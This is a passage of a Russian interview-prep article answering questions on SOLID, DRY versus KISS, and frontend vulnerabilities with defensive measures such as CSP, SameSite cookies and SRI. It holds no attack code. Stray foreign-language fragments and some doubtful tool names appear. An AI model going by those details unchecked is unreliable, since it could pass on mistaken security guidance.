- Props Drilling / God Props:
<PageComponent user={user} posts={posts} settings={settings} theme={theme} onLogin={} onLogout={} onSave={} />— нарушение ISP. Компоненту нужны толькоposts, а он получает всё. - Разделение:
<PostsList posts={posts} />,<Header user={user} onLogout={} />,<SettingsPanel settings={settings} onSave={} />. - TS Интерфейсы для хуков/сервисов:
- Плохо:
interface IUserService { getUser(); getPosts(); getSettings(); login(); logout(); updateProfile(); }—Headerиспользует толькоlogout, но зависит от всего. - Хорошо:
interface IAuthService { logout(); getCurrentUser(); },interface IUserProfileService { updateProfile(); }. Внедряем конкретный сервис.
- Плохо:
- React Context: Не кладите всё в один
AppContext. Разделяйте:AuthContext,ThemeContext,NotificationContext. Компонент перерисовывается только при изменении своего контекста.
Senior Insight: В TS интерфейсы — это compile-time концепция. ISP напрямую влияет на производительность ре-рендеров (Context splitting) и связанность модулей (Dependency Injection).
D — Dependency Inversion Principle (Принцип инверсии зависимостей)
Формулировка:
- Модули высокого уровня не должны зависеть от модулей низкого уровня. Оба должны зависеть от абстракций.
- Абстракции не должны зависеть от деталей. Детали должны зависеть от абстракций.
Фронтенд-контекст (DI, Context, Props, Mocking):
- Абстракция = Интерфейс (TS) / Контракт (Пропсы).
- Деталь = Реализация (API call, LocalStorage, WebSocket, Mock).
Примеры:
-
Data Fetching (Repository Pattern):
// Абстракция (Domain Layer)interface IUserRepository {getUser(id: string): Promise<User>;}// Детали (Infrastructure Layer)class HttpUserRepository implements IUserRepository { ... }class MockUserRepository implements IUserRepository { ... } // для Storybook/Testsclass CachedUserRepository implements IUserRepository { // Декораторconstructor(private repo: IUserRepository) {}async getUser(id) { ... }}// Высокий уровень (Feature/UI) зависит ТОЛЬКО от IUserRepositoryconst useUser = (id: string, repo: IUserRepository) => { ... }Внедрение: Через React Context (Provider), пропсы (для лифтов), DI-контейнеры (Inversify, NestJS-like в Next.js API routes) или просто импорт фабрики в
index.ts(Composition Root). -
Сторонние библиотеки: Не импортируйте
axiosилиlocalStorageнапрямую в компоненты/хуки бизнес-логики. Оберните вHttpClient/StorageAdapter. Легко заменить наfetch/IndexedDB/Mock. -
Тестируемость: Это главная прагматическая причина DIP на фронтенде. Вы подменяете
IUserRepositoryнаMockUserRepositoryв тестах или Storybook без мокированияfetch/window(MSW — это другой уровень, DIP — архитектурный).
Senior Insight: Не фанатично внедряйте DI-контейнеры везде. В React Composition Root часто лежит в App.tsx или providers.tsx. Для 90% проектов достаточно: Interface (TS) + Factory Function + Context/Props.
Сводная таблица: SOLID в современном Frontend (React/TS)
| Принцип | Классика (Java/C#) | React / TypeScript Reality | Главный инструмент |
|---|---|---|---|
| S | Класс делает одно дело | Компонент/Хук/Функция делает одно дело. Разделение по причинам изменения. | Композиция компонентов, Кастомные хуки, Модули |
| O | Наследование, Виртуальные методы | Композиция, Пропсы, Render Props, Плагины, Middleware. Изменение кода ядра — редкость. | Пропсы, Слоты (children), HOC, Плагинная архитектура |
| L | Наследование классов | Контракты интерфейсов (TS), Поведение компонентов/хуков. Замена реализации без ломки UI. | TypeScript Interfaces, Тестирование контрактов |
| I | Мелкие интерфейсы | Мелкие Props, Разделенные Context, Специализированные TS-интерфейсы сервисов. Изоляция ре-рендеров. | Context Splitting, Interface Segregation, DI |
| D | DI Контейнеры, Интерфейсы | Зависимость от TS-интерфейсов (Repository), Внедрение через Context/Props/Фабрики. Тестируемость. | Repository Pattern, Adapter Pattern, Context Providers |
Чек-лист Senior'а на Code Review:
- S: Есть ли у этого компонента/хука более одной причины измениться? (Данные + UI + Логика = 3 причины -> Рефактор).
- O: Нужно ли мне лезть в код библиотеки/базового компонента, чтобы добавить кейс? Можно ли расширить через пропс/плагин?
- L: Могу ли я подменить эту реализацию (API -> Mock, CSS -> Tailwind, Redux -> Zustand) в тестах/сторибуке, не трогая потребителей?
- I: Передаю ли я в компонент/хук
God Object(весь стор, весь юзер, весь конфиг)? Можно ли передать только нужно? - D: Импортирую ли я
axios/localStorage/date-fnsпрямо в бизнес-логику? Есть ли абстракция (интерфейс) между ними?
Резюме: SOLID на фронтенде — это не догма, а инструмент управления сложностью и связанностью. Главная цель — легкая подмена деталей (DIP), изоляция изменений (SRP, ISP) и безопасное расширение (OCP, LSP). На собеседовании Senior показывает это не заученными определениями, а примерами: "Здесь мы нарушили ISP, передав весь стор в компонент кнопки, из-за чего он ре-рендерился при любом действии. Разделили контекст — убрали лишние рендеры".
Вопрос 36. Что такое DRY и KISS и как они соотносятся
Таймкод: 01:30:31
Ответ собеседника: Правильный. DRY (Don't Repeat Yourself) — не дублируй код. KISS (Keep It Simple, Stupid) — не усложняй. Указал на конфликт: иногда лучше дублировать (KISS), чем создавать сложную абстракцию (DRY), и наоборот. Баланс зависит от контекста.
Правильный ответ:
Кандидат верно определил оба принципа и, что самое важное, указал на их фундаментальное напряжение. На уровне Senior/Tech Lead ожидается не просто знание аббревиатур, а понимание цены абстракции, умение распознавать ложное дублирование и применение принципа Rule of Three (Правило трёх). Ниже — глубокий разбор с примерами на TypeScript/React.
1. DRY (Don't Repeat Yourself) — «Не повторяйся»
Суть: Каждая часть знания (логика, конфигурация, схема данных) должна иметь единственное, однозначное, авторитетное представление в системе.
Что на самом деле дублируется:
- Бизнес-логика / Алгоритмы: Расчет скидки, валидация телефона, формирование URL API.
- Контракты / Схемы: Типы TypeScript, Zod/Valibot схемы, OpenAPI спецификации.
- Конфигурация: Константы окружения, названия ключей localStorage, эндпоинты.
Что НЕ является дублированием (Ложное дублирование):
- Структурное сходство: Два компонента рендерят
<div class="card">...</div>, но один — карточка товара, другой — карточка пользователя. Объединение их вCardс 10 пропсами — нарушение SRP и KISS. - Случайное совпадение: В модуле оплаты и модуле уведомлений есть цикл
for (const item of items). Это не дублирование знания, это совпадение реализации.
Пример правильного DRY (TypeScript):
// ❌ Плохо: Логика валидации разбросана
// В компоненте формы:
if (value.length < 3) return 'Слишком коротко';
// В API валидаторе:
if (dto.name.length < 3) throw new Error('Слишком коротко');
// ✅ Хорошо: Единый источник истины (Single Source of Truth)
const nameSchema = z.string().min(3, 'Слишком коротко').max(50);
// Использование на клиенте (React Hook Form + Zod)
const form = useForm({ resolver: zodResolver(z.object({ name: nameSchema })) });
// Использование на сервере (tRPC / Next.js API / NestJS)
const createUserDto = z.object({ name: nameSchema });
Цена DRY (Over-abstraction):
- Связанность (Coupling): Модули, не имеющие отношения друг к другу, становятся связаны через общий утилитарный модуль или базовый класс.
- Жесткость изменений: Изменение общей абстракции ломает 10 потребителей, которым это изменение не нужно.
- Когнитивная нагрузка: Чтобы понять, что делает код, нужно прыгать по 5 файлам абстракций.
2. KISS (Keep It Simple, Stupid) — «Делай это проще»
Суть: Системы работают лучше, если они простые. Сложность — враг надежности, отладки и онбординга. Простота ≠ Примитивность. Простота = Отсутствие случайной сложности (Accidental Complexity).
Признаки нарушения KISS:
- Преждевременная генерализация: Абстракция «на будущее», которая никогда не использовалась более 1 раза.
- Паттерны ради паттернов: Factory/Strategy/Decorator там, где достаточно
if/elseилиswitch. - Умный код: Тернарники в тернарниках, хитрые one-liner'ы на
reduce, метапрограммирование без нужды.
Пример KISS в React:
// ❌ Нарушение KISS: "Умный" универсальный хук для всего
const useEntity = <T,>(config: EntityConfig<T>) => {
// 200 строк кода: кэш, оптимистик, рефетч, дедупликация, подписки...
};
// ✅ KISS: Явные, простые хуки под конкретные задачи
const useUser = (id: string) => useQuery({ queryKey: ['user', id], queryFn: () => api.getUser(id) });
const useUsers = (filters: Filter) => useQuery({ queryKey: ['users', filters], queryFn: () => api.getUsers(filters) });
// Логика кэширования инкапсулирована в React Query (библиотека), а не в нашем коде.
Senior Insight: KISS часто означает «Используй стандартные примитивы языка/фреймворка». Не пиши свой EventEmitter — используй EventTarget или библиотеку. Не пиши свой DI — используй Context/Props. Не пиши свой стейт-менеджер — используй Zustand/Redux/Jotai.
3. Конфликт и Соотношение: Где проходит граница?
Это главный вопрос собеседования. Ответ «баланс зависит от контекста» верен, но пуст. Senior дает конкретные критерии принятия решения.
Правило трёх (Rule of Three) — прагматический стандарт: > Дублируй код 1 и 2 раз. Выноси в абстракцию только при 3-м повторении.
- 1 раз: Написал код.
- 2 раза: Скопировал, немного адаптировал (KISS побеждает). Создание абстракции сейчас — спекуляция.
- 3 раза: Паттерн очевиден. Рефакторим в общую утилиту/хук/компонент (DRY побеждает). Теперь у нас есть достаточно данных о вариативности, чтобы спроектировать правильный API абстракции.
Чек-лист: Стоит ли выносить в абстракцию? (DRY vs KISS)
| Критерий | Выносим (DRY) | Оставляем дублирование (KISS) |
|---|---|---|
| Природа кода | Бизнес-правила, алгоритмы, схемы данных, константы | UI-структура, boilerplate, glue-код, настройка библиотек |
| Стабильность | Меняется редко, изменения всегда синхронны для всех | Меняется часто, по-разному для разных потребителей |
| Связанность доменов | Один домен (Bounded Context) | Разные домены (например, Админка и Витрина) |
| Параметризация | 1-2 параметра, чистая функция | 5+ пропсов, флаги isAdmin, isLoading, рендер-пропсы |
| Тестируемость | Абстракцию легко тестировать изолированно | Тесты абстракции сложнее тестов конкретных копий |
Пример из жизни (Frontend):
Сценарий: Нужно отображать аватарку пользователя в Хедере, в Комментарии и в Профиле.
- Наивный DRY: Создаем
<Avatar user={user} size="xl" shape="circle" border={true} fallback="initials" />— 15 пропсов. В Профиле нужен квадратный, в Комментарии — с бордером, в Хедере — со статусом онлайн.- Результат: God Component, нарушение KISS, SRP, ISP. Любое изменение ломает всё.
- KISS (Дублирование разметки):
// Header<img src={user.avatar} className="w-8 h-8 rounded-full ring-2 ring-white" />// Comment<img src={user.avatar} className="w-6 h-6 rounded-full" />// Profile<div className="w-32 h-32 bg-gray-100 rounded-xl flex items-center justify-center">{user.avatar ? <img src={user.avatar} /> : <UserIcon />}</div>
- Результат: 3 простых куска кода. Никакой связанности. Изменение в Профиле не задевает Хэдер.
- Правильный DRY (через время): Через полгода дизайнер приносит единую дизайн-систему. Аватарки везде одинаковые: кольцо, фоллбэк, ленивая загрузка, тултип.
- Действие: Теперь у нас есть требование (Rule of Three + стабильные требования). Пишем
<Avatar src={...} size="md" status={...} />с уже известным, устойчивым API.
- Действие: Теперь у нас есть требование (Rule of Three + стабильные требования). Пишем
4. Дополнительные принципы в арсенале Senior'а
Для полноты картины на собеседовании стоит упомянуть, что DRY/KISS — не единственные оси координат:
- YAGNI (You Aren't Gonna Need It): Не добавляй функциональность, пока она не нужна прямо сейчас. Брат-близнец KISS. Защищает от преждевременного DRY.
- WET (Write Everything Twice / We Enjoy Typing): Саркастичный антоним DRY. Акцентирует внимание на том, что копипаст иногда лучше ранней абстракции.
- AHA Programming (Avoid Hasty Abstractions): Kent C. Dodds. «Избегай поспешных абстракций». Предпочитай дублирование до момента, когда абстракция становится очевидной и требуемой.
- Coupling vs Cohesion (Связанность vs Сцепление): DRY повышает связанность (Coupling). KISS/SRP повышают сцепление (Cohesion). Цель: Low Coupling, High Cohesion.
Резюме для интервью:
> «DRY и KISS — это не противопоставление "Хорошо vs Плохо", это управление компромиссом между связанностью и дублированием. > > Мой подход: Rule of Three + Domain Boundaries. > 1. Пишу конкретный код (KISS/YAGNI). > 2. При 3-м повторении анализирую: это один домен и одинаковая семантика изменений? -> Выношу в shared (DRY). > 3. Если это разные домены (админка/фронт, оплата/доставка) — дублирую намеренно (WET), чтобы не создавать распределенный монолит. > > Главная ошибка Junior/Mid — абстрагировать структуру (JSX, HTML, пропсы). Главная задача Senior — абстрагировать поведение и данные (хуки, утилиты, схемы, репозитории).»
Вопрос 37. Какие уязвимости бывают на фронтенде и как от них защищаться
Таймкод: 01:32:11
Ответ собеседника: Правильный. XSS (Cross-Site Scripting) — главная угроза. Защита: санитизация пользовательского ввода (библиотеки типа DOMPurify), экранирование при выводе, CSP заголовки. CSRF — защита через SameSite куки, CSRF-токены. SQL-инъекции — в основном бэкенд, но валидация на фронте помогает. Хранение токенов — только в httpOnly cookies, не в localStorage. Упомянул про сертификаты (HTTPS). Не назвал Clickjacking, IDOR, открытые редиректы.
Правильный ответ:
Фронтенд‑приложения сталкиваются с рядом типичных векторов атак, которые могут привести к краже данных, захвату сессий, выполнению произвольного кода в браузере пользователя или нарушению логики бизнеса. Ниже перечислены основные уязвимости, их суть и проверенные методы защиты, применимые к современным стекам (React, Vue, Angular, Svelte, чистый JS/TS).
1. Cross‑Site Scripting (XSS)
Суть: Злоумышленник внедряет вредоносный скрипт (обычно JavaScript) в страницу, который выполняется в контексте жертвы и может красть куки, локальное хранилище, выполнять действия от имени пользователя или перенаправлять на фишинговые сайты.
Варианты:
- Stored XSS – вредоносный код сохраняется в базе (например, в комментарии) и отдаётся всем пользователям.
- Reflected XSS – скрипт попадает в ответ через параметры запроса (поиск, ошибка) и сразу исполняется.
- DOM‑based XSS – уязвимость в клиентском JavaScript, который небезопасно использует
location.hash,innerHTML,document.writeи т.п.
Защита:
- Экранирование вывода – при вставке пользовательских данных в HTML использовать функции экранирования (
textContent,createTextNode, библиотеки вродеheдля HTML‑сущностей). - Санитизация ввода – при приёме rich‑text (например, комментарии с разметкой) использовать проверенные библиотеки: DOMPurify, Sanitize‑HTML, JSX‑sanitize (для React).
- Content Security Policy (CSP) – HTTP‑заголовок, ограничивающий источники загрузки скриптов, стилей, фреймов и т.д. Минимальная эффективная политика:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-<random>'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; object-src 'none'; base-uri 'self'; form-action 'self';
- Используйте nonce или hash для инлайн‑скриптов, никогда не разрешайте
'unsafe-inline'без необходимости. - Включите
report-uriилиreport-toдля мониторинга нарушений.
- Используйте nonce или hash для инлайн‑скриптов, никогда не разрешайте
- Избегайте опасных API – не используйте
eval,new Function(),setTimeout(string, ...),innerHTMLс пользовательскими данными без санитизации. - HTTP‑only куки – делают доступ к токенам недоступным для
document.cookie, снижая эффект кражи через XSS (хотя не защищают от выполнения действий от имени пользователя). - Заголовок X‑Content‑Type‑Options: nosniff – предотвращает MIME‑sniffing атаки, когда браузер может интерпретировать текст как скрипт.
- Заголовок X‑Frame‑Options: DENY или SAMEORIGIN – защита от clickjacking (см. ниже).
- Заголовок Referrer-Policy: strict-origin-when-cross-origin – ограничивает утечку реферера, что может помочь в некоторых сценариях XSS.
2. Cross‑Site Request Forgery (CSRF)
Суть: Злоумышленник заставляет авторизованного пользователя браузера выполнить нежелательное действие на доверенном сайте (например, перевести деньги, изменить пароль), подсунув форму или запрос, который браузер отправляет вместе с авторизационными куками.
Защита:
- SameSite атрибут куки –
SameSite=Strict(илиLaxдля навигаций) препятствует отправке кук при межсайтовых запросах. Это основной современный механизм. - CSRF‑токен (Synchronizer Token Pattern) – сервер генерирует уникальный токен на сессию, включает его в форму или заголовок (
X‑CSRF‑Token), а клиент обязан его вернуть. Сервер проверяет соответствие. - Double Submit Cookie – токен помещается zarówno в куку, так и в заголовок/поле формы; при отсутствии доступа к куке через XSS атакующий не сможет подделать оба значения.
- Проверка заголовков Origin/Referer – дополнительный уровень: сервер убеждается, что запрос пришёл с того же источника (или доверенного поддомена). Недостаточно сам по себе из‑за возможных подделок в некоторых прокси/браузерах, но полезен в комплексе.
- Использование методов, не изменяющих состояние, только для безопасных операций – GET, HEAD, OPTIONS, TRACE не должны менять состояние на сервере (по RFC).
3. Clickjacking (UI redressing)
Суть: Атакующий прозрачно или частично перекрывает легитимную страницу своим iframe, обманывая пользователя кликать по элементам, которые он не видит (например, кнопка «Оплатить» скрыта под кнопкой «Получить бесплатный подарок»).
Защита:
- X‑Frame‑Options: DENY (запрещает любую вставку в фрейм) или SAMEORIGIN (разрешает только же origin).
- Content Security Policy directive
frame-ancestors– более гибкая альтернатива:Content-Security-Policy: frame-ancestors 'self'; - Код‑фрейм‑брейкер (устаревший, но иногда используется):
(не полагайтесь только на него, так как его можно обойти).if (top !== self) { top.location = self.location; }
4. Insecure Direct Object Reference (IDOR)
Суть: Приложение раскрывает прямой ссылкой или идентификатором объект (например, /api/invoice/12345), и пользователь, подменив ID, получает доступ к чужим данным.
Защита:
- Авторизация на уровне ресурса – каждый запрос должен проверять, имеет ли текущий пользователь право на доступ к конкретному объекту (роль, владение, ACL).
- Использование непредсказуемых идентификаторов – UUID, хеши, или подписанные токены (JWT) вместо последовательных целых чисел.
- Валидация входных параметров – убедиться, что ID принадлежит текущему пользователю/организации перед выполнением операции.
5. Open Redirect (Небезопасный перенаправляющий URL)
Суть: Приложение принимает параметр returnUrl или redirect и перенаправляет пользователя на указанный URL без проверки. Злоумышленник может перенаправить на фишинговый сайт.
Защита:
- Белый список допустимых доменов – разрешайте перенаправления только на доверенные домены (или относительные пути).
- Не используйте пользовательский ввод напрямую в
window.locationили заголовкеLocation– всегда выполняйте проверку. - Кодируйте URL – если нужен параметр, передавайте его в зашифрованном/подписанном виде (JWT с коротким TTL).
6. Кража данных через локальное хранилище (localStorage, sessionStorage)
Суть: XSS‑атака может прочитать localStorage и извлечь токены, сессии или другие секреты.
Защита:
- Не хранить чувствительные данные в открытом виде – предпочтительно держать access‑token в памяти (переменная/хук) и использовать короткоживущие токены (5‑15 мин).
- Refresh‑token в httpOnly‑cookie с SameSite=Strict/Lax – недоступен JavaScript.
- Если всё‑же нужен локальный кэш – шифровать его ключом, недоступным из скрипта (например, ключ, полученный из безопасного хранилища сервера через безопасный канал).
- Content Security Policy уменьшает шанс успешного XSS, тем самым снижая риск кражи из storage.
7. Man‑in‑the‑Middle (MITM) и downgrade атаки
Суть: Злоумышленник перехватывает трафик между клиентом и сервером (например, в публичном Wi‑Fi) и может подменять ответы, красть данные или внедрять вредоносный код.
Защита:
- Обязательное использование HTTPS – получить сертификат от доверенного CA, включить HSTS (HTTP Strict Transport Security):
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
- Отключить поддержку устаревших протоколов TLS (SSLv2/SSLv3, TLS 1.0/1.1) на сервере.
- Certificate Pinning (в редких случаях, например, в мобильных WebView или desktop‑приложениях) – но в чистом вебе обычно избыточно и может привести к проблемам при обновлении сертификата.
- Поддерживать perfect forward secrecy (PFS) – выбор наборов шифров с эллиптическими кривыми (ECDHE).
8. Supply Chain атаки (через зависимости)
Суть: Вредоносный код попадает в приложение через compromised npm‑пакет, CDN‑ресурс или обновление билд‑инструмента.
Защита:
- Блокировка или аудит зависимостей –
npm audit,yarn audit,dependabot,renovate,snyk,osseus. - Использование lock‑файлов (
package-lock.json,yarn.lock) и проверка их в CI. - Проверка подписей и контроль версий – подписанные пакеты (
npm sign), внутренние реестры с проверкой целостности. - Subresource Integrity (SRI) – для загрузки скриптов/стилей из CDN:
<script src="https://cdn.example.com/lib.js"integrity="sha384-..."crossorigin="anonymous"></script>
- Изолировать сборку – запускать
npm installи сборку в чистом контейнере (Docker, CI) без доступа к секретам. - Минимизировать поверхность атаки – не использовать произвольные CDN‑скрипты без SRI; предпочтительно самохостинг или проверенные репозитории.
9. Ошибки конфигурации и утечка информации
Суть: Неправильные заголовки, оставленные консольные логи, source‑maps, отладочные endpoints могут раскрыть структуру приложения, секреты или упростить атаку.
Защита:
- Удалять source‑maps в продакшене или обслуживать их только по аутентификации.
- Отключать логирование консоли в продакшене (
console.log,console.errorв продакшене могут раскрыть данные). - Ограничивать доступ к отладочным маршрутам (
/debug,/swagger,/graphql playground) – только в dev‑окружении или за аутентификацией/IP‑фильтрацией. - Не хранить секреты в клиентском коде – API‑ключи, токены, пароли не должны быть в репозитории или в бандле. Используйте переменные окружения на сервере или секрет‑менеджер (Vault, AWS Secrets Manager) и доставляйте их клиенту только после аутентификации (например, через защищенный эндпоинт).
- Заголовок X‑Powered‑By: скрыть или удалить – не раскрывать стек технологий.
10. Race Conditions и небезопасная работа с состоянием
Суть: В условиях конкурентного доступа (например, несколько вкладок, веб‑воркеры, сервер‑сенд‑ивенты) может возникнуть ситуация, когда состояние обновляется некорректно, приводя к перерасходу лимитов, двойным списаниям или потере данных.
Защита:
- Идемпотентность операций – 설계вать API так, чтобы повторный запрос с теми же параметрами не вызывал побочных эффектов.
- Оптимистичное обновление с откатом – при отправке запроса сразу обновлять UI, но при ошибке откатывать состояние.
- Использовать токены/версии для контроля конкуренции –
If‑Matchзаголовок с ETag или версия документа. - Сериализация критических операций – через очередь (например, IndexedDB транзакции) или серверный лок.
Итоговый чек‑лист для Senior‑разработчика при начале работы над новым фронтенд‑проектом
- HTTPS + HSTS включены везде.
- CSP настроен с минимальными привилегиями (script‑src, style‑src, frame‑ancestors, object‑src, base‑uri, form‑action).
- X‑Frame‑Options или
frame-ancestorsв CSP защищают от clickjacking. - SameSite=Strict/Lax установлен на все куки, особенно на токены сессий/refresh.
- CSRF‑токен используется для всех небезопасных методов (POST, PUT, DELETE, PATCH) если SameSite не покрывает все кейсы (например, старые браузеры).
- Ввод пользовательских данных санитизирован перед вставкой в DOM (DOMPurify или аналоги).
- Вывод пользовательских данных экранирован (textContent, createTextNode).
- Access‑token хранится только в памяти, refresh‑token в httpOnly‑cookie.
- Локальное хранилище не содержит секретов; если нужно кэшировать – зашифровать.
- Зависимости аудируются, блокируются известные уязвимости, SRI используется для внешних ресурсов.
- Source‑maps и логи удалены/ограничены в продакшене.
- Авторизация проверяется на уровне каждого ресурса (защита от IDOR).
- Перенаправления проверяются против белого списка доменов.
- Встроенные защита от XSS‑фильтров в браузерах отключена (
X-XSS-Protection: 0), так как CSP даёт более надёжную защиту. - Регулярно проводится пентест/сканирование (OWASP ZAP, Burp, Nuclei) и ревью зависимостей.
Соблюдение этих мер значительно снижает вероятность успешной эксплуатации наиболее распространённых frontend‑уязвимостей и делает приложение устойчивым к типичным атакам в реальных условиях.
